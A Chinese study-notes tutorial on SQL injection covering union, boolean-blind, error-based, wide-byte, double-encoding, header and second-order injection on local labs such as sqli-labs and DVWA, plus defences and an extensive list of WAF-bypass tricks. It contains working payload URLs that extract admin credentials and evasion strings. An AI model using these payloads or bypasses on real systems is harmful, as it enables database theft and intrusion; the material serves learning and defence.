(本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

 

一、介绍

1.SQL注入漏洞的本质:后端代码再执行过程中,将用户输入的数据也当作代码来执行,违背代码和数据相分离原则

2.注入的原因:前端传递的参数可以随意控制,参数可控;后端对前端传递过来的数据没有过滤,或过滤不严谨,最终导致SQL注入

3.SQL注入漏洞有两个关键条件:

  • 用户能控制输入的内容
  • Web应用把用户输入的内容带入到数据库中执行

4.危害:数据泄露、脱库、篡改网站、破坏数据库、植入后门、getshell等等

5.分类:

  • 请求方式:get post cookie
  • 参数形式:整型 字符型 搜索
  • 反馈类型:报错 union 布尔(时间或页面显示状态) 延时
  • 数据库类型:access mssql mysql oracle nosql等等
  • 利用技术:布尔 报错 内联 堆叠 时间 联合

6.防御:

  • GPC/RUNTIME魔术引号(PHP扩展)
1 GPC(magic_quotes_gpc):对接受到用户浏览器的数据中的特殊字符进行过滤,转义;只负责对GET,POST,COOKIE的值进行过滤
2 RUNTIM(magic_quotes_runtime):对从数据库或者文件中获取的数据进行过滤
  • 使用具有过滤功能的函数和类
1 函数:
2 addslashes函数
3 mysql[real]escape_string函数
4 intval等字符转换
5 编译语句来绑定变量(mysqli扩展与pdo扩展连接数据库操作)类:PDO
  • 设计输入验证和处理策略:使用WAF
  • 其他防护方案
1 领域驱动的安全性:通过将数据封装到有效值对象中,并限制对原始数据的访问
2 编码输出

 

二、常用的数据库函数以及常量

 1 @@tmpdir  查看临时目录
 2 @@datadir  数据存放的位置
 3 @@basedir  数据库服务所在位置
 4 @@version  查看版本号
 5 @@hostname  查看当前用户名
 6 ascii()  返回字符串str的最左字符的数值
 7 user()  获取登陆用户名
 8 version()  获取当前版本号
 9 database()  获取当前数据库
10 concat()  将多个字符串连接成一个字符串
11 group_concat()  将group by产生的同一个分组中的值连接起来,返回一个字符串结果
12 concat_ws()  将多个字符串连接成一个字符串
13 sleep()  休眠
14 ord()  显示字符的ASCII
15 length()  计算字符串长度
16 
17 截取字符串:
18 substr() oracle mysql mssql
19 substring() MySQL mssql
20 mid() mysql
21 注:均有三个参数,第一个是被截取的字符,第二个是开始索引,第三个是截取的长度
22 left(pa1,pa2) pa1是被截取的字符串,从左开始截取,pa2是截取的位数
23 right(pa1,pa2) pa1是被截取的字符串,从右开始截取,pa2是截取的位数
24 
25 条件判断:
26 if(条件,条件为真时的返回值或语句,条件为假时的返回值或语句)
27 case when 条件 then 条件为真时的返回值或语句 else 条件为假时的返回值或语句 end
28     如:select 1,case when 1=1 then ‘hello’ else ‘goodbye’ end,3 --+
29 
30 联合查询
31 select * from users where id=1 union select “a”,”b”,”c”;
32 select * from users where id=0.01 union selcet 1,2,user(),4,@@databases; 

 

三、MySQL数据库:一库一表三字段

1.一库:information_schema库  存放系统库,汇总(其他数据库的库名、表名、字段名)

2.一表:columns表  存放数据(库名、表名、字段名)

3.三字段:

  • table_schema字段  存放其他数据库的库名
  • table_name字段  存放其他数据库的表名
  • column_name字段  存放其他数据库的字段名
1 select table_schema table_name column_name from information_schema.columns;  查询三字段所对应的数据
2 select table_schema table_name column_name from information_schema.columns where table_schema=”dvwa”;  有条件的查询
3 select table_schema table_name column_name from information_schema.columns where table_schema=0x64767761;  将dvwa转为16进制

注:MySQL的版本号需要>5.0

 

四、手工注入

  • 测试使用搭建的jdy1.5网站,也可使用DVWA里面的SQL Injection模块

1.检测注入点:即可能存在SQL注入的地方,找到有类似id(id/uid/key、typeid/sid等等)的参数,后面需要输入一些检测的恶意代码(payload):' 或 'and 1=1# 或 'and 1=2-- 或 -1' or '1'='1'等等

  • 需不需要单引号,是由后端拼接的SQL语句决定的,如(%23是#的URL编码):
1 SELECT * FROM users WHERE id='$id' LIMIT 0,1
2     前端测试: id=1and 1=1%23
3 SELECT * FROM users WHERE id=$id LIMIT 0,1
4     前端测试:id=1 and 1=1%23
  • 输入的恶意代码被成功执行(根据页面显示效果以及报错信息等来判断),说明此处有SQL注入点
  • 接下来还要判断注入的方式:根据页面的回显效果来决定使用哪种注入技术
  • 判断从后台数据库中选择的列数以及哪几列在前端显示
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=1 order by 6#
  • 更换数字,根据页面显示效果判断后台数据库选择的列数,5列(信息收集)
1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,2,3,4,5%23
  • 根据页面显示效果可知在2的位置显示到前端,即可将2替换为SQL语句

2.收集后台数据库信息:

1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,user(),3,4,5%23  查看当前用户
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,database(),3,4,5%23  查看当前数据库
3 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_schema) from information_schema.columns),3,4,5%23
4     distinct  去重
5     group_concat  分组并拼接
6     空格可以用+代替

3.获取当前数据库下的数据表:

http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct table_name) from information_schema.columns where table_schema=database()),3,4,5%23

4.获取当前数据库下指定表下的字段名:

1 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=’jdy_admin’),3,4,5%23
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select group_concat(distinct column_name) from information_schema.columns where table_schema=database() and table_name=0x6a64795f61646d696e),3,4,5%23
  • 一般需要找后台或敏感的数据表,0x6a6479636d73是‘jdycms’的16进制转码

5.获取字段数据:

1 select concat(username,0x7e,password)from jdy_admin limit 0,1;
2 http://127.0.0.1/jdy1.5/typeid.php?typeid=100000000 union select 1,(select concat(username,0x7e,password)from jdy_admin limit 0,1),3,4,5%23

6.解密:使用cmd5、pmd5等等

7.找后台登录:可以猜、目录扫描或信息收集等等

 

步骤总结:

1.检测注入点

2.收集后台数据库信息

3.获取当前数据库下的数据表

4.获取当前数据库下指定表下的字段名

5.获取字段数据

6.解密

7.找后台登录

 

五、盲注

盲注:用户提交的数据在后台数据库中执行之后,没有返回任何数据,无法在前端显示测试出的数据,需要使用盲注技术

类型:基于布尔的盲注、基于时间的盲注

 

六、盲注过程

1. 判断注入点

1 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and 1=1%23
2 http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and 1=1%23

2.判断后台选择列数

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' order by 4%23

3.没有将结果显示到前端,即下一行代码没有作用,就需要使用盲注

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' union select 1,2,3%23

4.收集数据库信息

 

七、基于布尔的盲注

  • 测试使用sqli-labs第8关

1.探测注入点,使用'或1' and 1=1%23或1' and '1'=1或1' and 1=1#等等

(注:用户提交的数据被带入到后台数据库中执行,根据页面显示效果判断此处是否存在注入点)

2.收集数据库信息(当前用户名、当前数据库、版本、所以数据库等等)

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and length(user())=14%23

3.使用BP快速收集,操作步骤如下图所示

  • 首先爆破用户名、数据库以及版本的字段长度,使用函数length()
    • 抓包

    • 选择爆破的项

    • 为第一个项设置字典

    • 为第二个项设置字典

    • 添加查找关键字

    • 开始爆破

  • 爆破用户名及当前数据库名,使用函数ascii()
    • 网页浏览下面的地址,判断出用户名首字母是r,后续依次去判断
http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr(user(),1,1))=114%23
    • 抓包

    • 选择要爆破的项

    • 分别为第一个项和第二个项设置Payloads options有效载荷选项

    • 开始爆破,爆破结果对照ASCII码表进行查找,即可得出所有用户名

    • 爆破当前所在数据库名,则要爆破的项

    • 分别为第一个项和第二个项设置Payloads options有效载荷选项

    • 根据爆破结果对照ASCII码表进行查找,得出当前数据库为security

4.查询当前数据库中的表

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select distinct table_name from information_schema.columns where table_schema=database() limit 0,1),1,1))=101%23
  • 先计算某个表名字的长度,然后再判断每个字符,最终找到有价值的表名:users

5.获取指定表中字段名

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select distinct column_name from information_schema.columns where table_name=0x7573657273 and table_schema=database() limit 0,1),1,1))=105%23  //0x7573657273是users的16进制
  • 字段名首字母是i,后续依次去判断第一个字段名、第二个字段名等等,最后找出敏感的字段:username、password

6.获取指定字段的数据

http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and ascii(substr((select concat(username,0x7e,password)from users limit 0,1),1,1))=68%23  //0x7e是~的16进制

7.解密密文数据,登录后台

 

八、基于报错的注入

1.报错的含义:利用报错的函数构造测试的payload,数据库执行之后会报错,并将我们需要的数据带出来,达到攻击的目的

2.常用的报错函数:floor()、extractvalue()、updatexml()等等

3.floor();

  • 报错本质:创建虚拟表格时,执行主键查询两次出错
  • 必须和count()(计数)、rand()(产生0-1之间的随机小数,若给了参数(种子),就会根据该种子产生固定的值)、group by()(排序)等函数配合使用(能够达到相同目的的函数都可以替换去使用)

select concat(user(),floor(rand(0)*2));

select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x;

  • 错误1022(23000):无法写入;表“C:\\用户\\管理\\应用程序数据\\本地\\临时\\ sql6abc_14e_0”中存在重复键
  • 解决方法:更换MySQL版本

  • 别名:
select 1 from dvwa.users a;

4.extractvalue(参数1,参数2);  

  • 作用:操作XML文件,从目标XML文件中返回查询到的字符串
  • 参数1是string格式的XML文档名,参数2是xpath格式的字符串(需要查询的)
select extractvalue(1,concat(0x7e,(select user()),0x7e));

select extractvalue(1,concat((select user()),0x7e));

2.updatexml(参数1,参数2,参数3);

  • 作用:更改XML文档中符合条件的节点的值
  • 参数1 是XML文档,参数2是xpath格式的字符串,参数3是string格式的替换查找符合条件的数据
select updatexml(1,concat(0x7e,(select user()),0x7e),1);

select * from dvwa.users where user_id=1 limit 0,1;

select updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from dvwa.users where user_id=1 limit 0,1),0x7e),1);

select concat(user,0x7e,password) from dvwa.users where user_id=1 limit 0,1)

注:后两者报错的长度有限制是32位

 

九、报错注入步骤

  • 测试使用sqli-labs第五关

1.测试注入点

2.获取当前数据库信息

http://127.0.0.1/sqli-labs-master/Less-5/?id=1'  and extractvalue(1,concat(0x7e,(select database()),0x7e));%23+

3.获取当前数据库表名(下面的步骤只需替换代码中的红字部分即可)

4.获取指定表中的字段

5.获取内容

6.解密,登录系统

 

、宽字节注入

1.原理:使用PHP连接MySQL的时候,当设置set character_set_client=gbk时会导致一个编码转换注入问题,也就是宽字节注入。当存在宽字节注入漏洞时,在注入的参数里加入%df%27,即可把程序中过滤的"\"(即%5c)“吃掉”

  • GBK编码:针对汉字的一种编码方式,使用2个字节编码1个汉字,用16位表示1个汉字

2.常用函数

  • mysql_query("SET NAMES 'gbk'");//设置字符集编码,对数据库执行之后的结果进行某种编码(GBK)然后传递给用户,返回GBK编码的查询结果
  • mysql_set_charset("GBK");//方便MySQL字符集设置编码,设置字符集编码,规定当与数据库服务器进行数据传送时要使用默认字符集
  • mysql_real_escape_string();//对参数进行过滤转义,具有相似功能的函数还有:addslaches()、mysql_escape_string()(PHP5.3以及之后的版本被废除)、魔术引号(magic-quotes_gpc模块)等,针对特殊符号’  “  \  null  <  >等进行转义

 

十一、宽字节注入过程

  • 测试使用自己搭建的gbksql站点
 1 <?php
 2 //连接数据库部分,注意使用了gbk编码
 3 $conn = @mysql_connect('localhost', 'root', 'root') or die('bad!');
 4 mysql_query("SET NAMES 'gbk'");//设置字符集编码,对数据库执行之后的结果进行某种编码(GBK)然后传递给用户,返回GBK编码的查询结果
 5 //mysql_set_charset("GBK");//方便MySQL字符集设置编码,设置字符集编码,规定当与数据库服务器进行数据传送时要使用默认字符集
 6 mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");
 7 //执行sql语句
 8 //$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
 9 $id = isset($_GET['id']) ? mysql_real_escape_string($_GET['id']) : 1;//对参数进行过滤转义
10 $sql = "SELECT * FROM news WHERE tid='{$id}'";
11 echo $sql."<br/>";
12 $result = mysql_query($sql, $conn) or die(mysql_error());
13 ?>
14 <!DOCTYPE html>
15 <html>
16 <head>
17 <title>新闻</title>
18 </head>
19 <body>
20 <?php
21 $row = mysql_fetch_array($result, MYSQL_ASSOC);
22 echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";
23 mysql_free_result($result);
24 ?>
25 </body>
26 </html>
测试主要使用代码.php

1.检测注入点:

  • 访问站点http://127.0.0.1/gbksql/01/?id=1'

    • 执行结果不受影响
  • 在http://127.0.0.1/gbksql/01/?id=1'后面加上%df(只要高位在81~fe之间的都可以使用),为http://127.0.0.1/gbksql/01/?id=1%df'

  • 这里的1%df -经过过滤转义-> 1%df\' -经过GBK编码-> 1%df5c' => 1運' 数据库报错,多一个单引号
1 后端本身代码:$sql = "SELECT * FROM news WHERE tid='$id'";
2 前端输入1%df'后,后端执行的代码:$sql = "SELECT * FROM news WHERE tid=' 1運' ' "; --> 报错,这就是注入点

2.判断列数:http://127.0.0.1/gbksql/01/?id=1%df' order by 3%23

3.信息收集:http://127.0.0.1/gbksql/01/?id=-1%df' union select 1,2,3%23

4.后面的步骤将2,3其中一个替换为SQL语句即可

  • 测试使用sqli-labs第32关

1.判断注入点:http://127.0.0.1/sqli-labs-master/Less-5/?id=1'

  • 可以看到前端的报错信息中显示乱码\,一般为宽字节注入

2.判断列数:http://127.0.0.1/sqli-labs-master/Less-32/?id=1%df' order by 3%23

3.信息收集:http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,2,3%23

4.获取数据库信息:

  • http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,user(),3%23

  • http://127.0.0.1/sqli-labs-master/Less-32/?id=-1%df' union select 1,database(),3%23

 

十二、防御宽字节注入

1.方法:

  • 使用mysql_set_charset(“GBK”)设置编码,然后使用mysql_real_escape_string()进行转义
  • 使用PDO方式,在PHP 5.3.6及以下版本中需要设置setAttribute(PDO::ATTR_EMULATE_PREPARES,false); 禁用preparcd statements 的仿真效果

2.PDO的使用过程:连接数据库 --> 设置模板 --> 绑定数据 --> 执行SQL语句

1 <?php
2 $dbh = new PDO("mysql:host=localhost;dbname=demo","user","pass");//连接数据库
3 $dbh -> exec("set names 'GBK'");
4 $sql = "select * from test where name = ? and password = ?";//设置模板
5 $stmt = $stmt -> execute(array($name,$pass));
6 ?>

3.PDO防止SQL注入方法:

$dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
  • setAttribute()这一行是强制性的,它会告诉 PDO 禁用模拟预处理语句,并使用real parepared statements,确保了SQL语句和相应的值在传递到mysql服务器之前是不会被PHP解析的(禁止了所有可能的恶意SQL注入攻击)

4.PDO防止SQL注入原理:当调用 prepare() 时,查询语句已经发送给了数据库服务器,此时只有占位符?发送过去,没有用户提交的数据;当调用到 execute()时,用户提交过来的值才会传送给数据库,他们是分开传送的,两者独立的

(PDO防止SQL注入来源于shadowflow的
https://www.jianshu.com/p/c0deb8061718文章,十分详细,感谢!!!)

 

十三、二次编码注入

1.原理:当提交参数到WebServer时,WebServer会自动解码生成单引号而引发注入;浏览器会对from表单中的数据进行一次URL编码,到达服务器之后会默认解码

2.编码问题:URL编码是一种浏览器用来打包表单输出的格式,URL编码就是一个字符ASCII码的16进制,不过稍微有些变动,需要在前面加上“%”,比如“\”,它的ASCII码是92,92的十六进制是5c,所以“\”的url编码就是%5c

3.PHP中URL解码函数:urlsecode()、rawurldecode()

  • 注:默认的GET和POST请求,PHP会先解码一次

4.测试使用代码:

 1 <?php 
 2 echo "<meta charset='utf-8'>";
 3 $id = $_GET[ 'id' ];
 4 echo "第一次解码:".$id."<br/>";
 5 $id = addslashes($id);//过滤
 6 $id = urldecode($id);
 7 echo "第二次解码:".$id."<br/>"; 
 8 //$id = rawurldecode($id);
 9 $sql = "select * from users where user_id='$id'";
10 echo($sql)."<br>";
11 $conn=mysqli_connect("localhost","root","root","dvwa");
12 $re=mysqli_query($conn,$sql);
13 if (mysqli_num_rows($re)>0) {
14     $row=mysqli_fetch_assoc($re);
15     echo $row["first_name"]."<br>";
16     echo $row["last_name"]."<br>";
17 }
18 
19 mysqli_close($conn);
20  ?> 

5.注入主要过程:

  • 检测注入点:http://localhost/gbksql/test.php?id=1%2527

  • 判断列数:http://localhost/gbksql/test.php?id=1%2527 order by 8%23

 

十四、HTTP头部注入

1.HTTP头部部分参数详解:

  • User-Agent:浏览器向服务器表明自己的身份,使得服务器能够识别客户使用的操作系统,游览器版本等
  • Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据(通常经过加密)
  • X-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
  • Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的
  • Host:客户端指定自己想访问的WEB服务器的域名/IP 地址和端口号

2.注入主要过程:

  • 测试使用sqli-labs第18关
    • 主要代码:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
  • 测试注入点:
    • 抓包,修改User-Agent为User-Agent: test'(通过页面显示效果得知),此时后端代码就会变成下面的代码
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('test'', '$IP', $uname)";

    • 修改User-Agent为User-Agent: test','1','2') %23,此时后端代码就会变成下面的代码
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (' test','1','2') %23', '$IP', $uname)";

    • 根据回显,修改User-Agent为User-Agent: test','1','2') #

    • 查看是否将地址1和用户名2写入了后端数据库中

    • 如下图所示已将地址1和用户名2成功写入后端数据库

  • 获取数据库信息
    • 修改User-Agent为User-Agent: 'and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1(根据回显,使用报错注入),此时后端代码就会变成下面的代码
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (''and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and '1'='1', '$IP', $uname)";

    • 修改User-Agent为User-Agent: 'and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1

 

十五、二次注入

1.原理:所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。比普通SQL注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询

  • 二次注入的主要过程就是:存入恶意数据、从后端取出恶意数据、利用恶意数据

2.分析sqli-labs第24关的主要代码

  • 存入恶意数据
    • 前端用于存入数据的页面

    • 后端存入恶意数据的代码(文件名为login_create.php):
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";//存数据
  • 从后端取出恶意数据
    • 后端取出恶意数据的代码(login.php):
 1 function sqllogin(){
 2    $username = mysql_real_escape_string($_POST["login_user"]);
 3    $password = mysql_real_escape_string($_POST["login_password"]);
 4    $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
 5 //$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
 6    $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
 7    $row = mysql_fetch_row($res);
 8     //print_r($row) ;
 9    if ($row[1]) {
10             return $row[1];//1对应的是用户名,从数据库中取数据
11    } else {
12               return 0;
13    }
14 
15 }
  • 利用恶意数据
    • 前端用于利用数据的页面

    • 后端利用恶意数据的代码(pass_change.php):
1 $username= $_SESSION["username"];//$username从session里拿出来的
2 $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//可利用恶意数据的地方

3.注入sqli-labs第24关过程:

(本次注入目的是在密码未知的情况下,使用二次注入更改已有用户admin的密码)

  • 查看当前数据库所有用户信息

  • 进入24关,点击New User click here?,创建新用户admin'#

  • 进入数据库查看当前所有用户信息

  • 登录用户admin'#

  • 更改用户admin'#的密码为123.com

    • 密码更改成功

  • 再次进入数据库,查看当前所有用户信息
    • 可以看到用户admin'#的密码并没有更改,更改的是admin的密码

  • 这里利用的是:更改密码时,后端代码变成下面的样子,admin后面的#将后面的内容注释掉,admin后面的'与前面的'闭合,所以更改的就是admin的密码
$sql = "UPDATE users SET PASSWORD='$pass' where username=' admin'# ' and password='$curr_pass' ";

 

十六、SQL注入绕过WAF

1.WAF介绍:Web应用防护系统(也称:网站应用级入侵防御系统。英文:Web Application Firewall,简称:WAF),也叫Web防火墙,主要是对Web特有入侵方式的加强防护,如DDOS防护、SQL注入、XML注入、XSS等

2.WAF分类

  • 代码WAF:将规则写在web代码中,并去匹配,来过滤。
  • 软件WAF:监听端口或以Web容器扩展方式进行请求检测和阻断
  • 硬件WAF:专门硬件防护设备,代理流量,并做分析,再做是否转发的处理
  • 云WAF:通过dns域名移交技术,将流量暂时发送到检测中心节点,通过检测后,再发送到真实服务上

3.WAF工作流程:

  • 身份认证白名单(白名单IP、白名单Cookie、白名单User-Agent、白名单Referer等等)
  • 数据包解析应用层WAF(如匹配id=data部分的数据)
  • 规则匹配根据不同的规则,有不同的绕过方法(进行黑盒测试,可进行代码审计叫白盒测试)

4.绕过WAF:

  • 大小写(/正则大小写/i,不区分大小写,可过)
select * from users where id ='1 ' uNion SelEcT 1,2,3,4--+
  • 关键字重复写(针对检测到某个关键词,替换为空的情况)
select * from users where ID=1 ununionion selselectect 1,2,3,4%23
  • 编码
1 select  * from users where id=2%2bunion%2bselect%2b1,2,3,4--+ //%2b是+的URL编码
2 union ---> 0x756e696f6e20
3 select * from users where ID=1 %75nion select 1,2,3,4%23
    • 编码方式
      • URL编码:针对特殊情况可以两次URL编码

空格

%20
单引号 %27
左括号 %28
右括号 %29

 

      • 16进制编码:针对某些数据,如:特殊字符、特殊字符串等等
      • Unicode编码:给所有的字符指定了一个数字用来表示该字符,通常用两个字节表示一个字符,高位不足使用0填充

单引号

%u0027、%u02b9、%u02bc、%u02c8、%u2032、

%uff07、%c0%27、%c0%a7、%e0%80%a7

空格 %u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0
左括号 %u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8
右括号 %u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
      • 二进制编码
      • 八进制编码
  • 内联注释
/* */或union/**/select/**/1,2,3%23
  • 黑魔法
select{x user}from{x mysql.user}; 
  • 换行符绕过
%23%0a   %2d%2d%0a
  • 等价函数替换
1 verion()  @@version
2 mid   substr   substring
3 @@datadir  datadir()
4 hex()  bin()  ascii()
5 sleep()  benchmark()
6 user()  @@user
  • 等价符号替换
1 and  &
2 or  ||
3 =  ><
  • 特殊符号
1 +、#、%23--+、\\\\
2 +:用于字符串连接
3 @符号:用户自定义变量
4 @@符号:系统变量
5 select @&1.from dvwa.users;
6 select`version`();
  • 内联注释加!
1 select * from users where id = 1 /*!union//**//*!select//**/1,2,3,4--+
2 select * from dvwa.users where user_id=1 /*!union*/ /**/ /*!select*/ /**/ 1,2,3,4,5,6,7,8; 
  • 缓冲区溢出(针对老版本的安全狗和WAF)
?id=1 and (select 1)=(Select 0xA*1000) uNiOn SeLeCt 1,2,version(),4,5,database(),version(),8,9,10,11,12,13,14,15,16,17,18
    • 例子上的 0xA*1000  指的是0XA后面的 "A" 重复1000次,一般来说对应用软件构成缓冲区溢出都需要比较大的测试长度,这里1000仅供参考,在一些情况下也可以更短
  • MySql 特性绕过
1 =  等于
2 :=  赋值
3 @  @+变量名可直接调用
4 select @test:=user();
  • 隐私类型转换
1 select 'a'=0;//返回值为1
2 select '1admin'=1;
  • 分块传输

 

  • 参数污染

 

5.绕过解析

select * from admin where id=1[1] union [2] select [3]1,user()[4] from [5]admin
  • 第一部分:

(1)内联注释

/**/  /*!50000union*/

(2)空白%09 %0a %0b %0c %0d %20

id=1%0bunion select 1,user() from admin

(3)浮点数形式  1.2   4.2

id=1.0union select 1,user() from admin

(4)1E0

id=1e0nuion select 1,user() from admin

(5)\

id=\Nunion select 1,user() from admin
  • 第二部分:

(1)空白

(2)注释符

/**/   /*123213*/

(3)括号

id=1 union(select 'test','1',(select user() from admin limit 0,1))
  • 第三部分:

(1)空白

(2)注释符号

(3)其他字符

1 !    %21
2 +    %2b
3 -    %2d
4 @    %40
5 ~    %7e
6 select * from admin where id=1 union select~1,user(),version()

(4)其他方式

1 括号   select * from admin where id=1 union select(1),user(),version()
2 内联   select * from admin where id=1 union /*!50000select*/1,user(),version()
3 {}  select * from admin where id=1 union select{x 1} user(),version()
4 " "  select * from admin where id=1 union select"1" user(),version()
5 \N     select * from admin where id=1 union select\N ,user(),version()
  • 第四部分:

(1)空白

(2)注释符

(3)浮点数、1E0 、\N

(4)其他符号

1 `      select * from admin where id=1 union select 1,2`from admin`;
2 “”     select * from admin where id=1 union select 1,2"from admin";
3 括号  1 union select 1,user(),(3)from dvwa.users#
4 内联注释符号
  • 第五部分:

(1)空白

(2)注释符号

(3)其他符号

1 内联注释符号
2 () 
3 {}    select * from admin where id=1 union select 1,2 from{x   admin};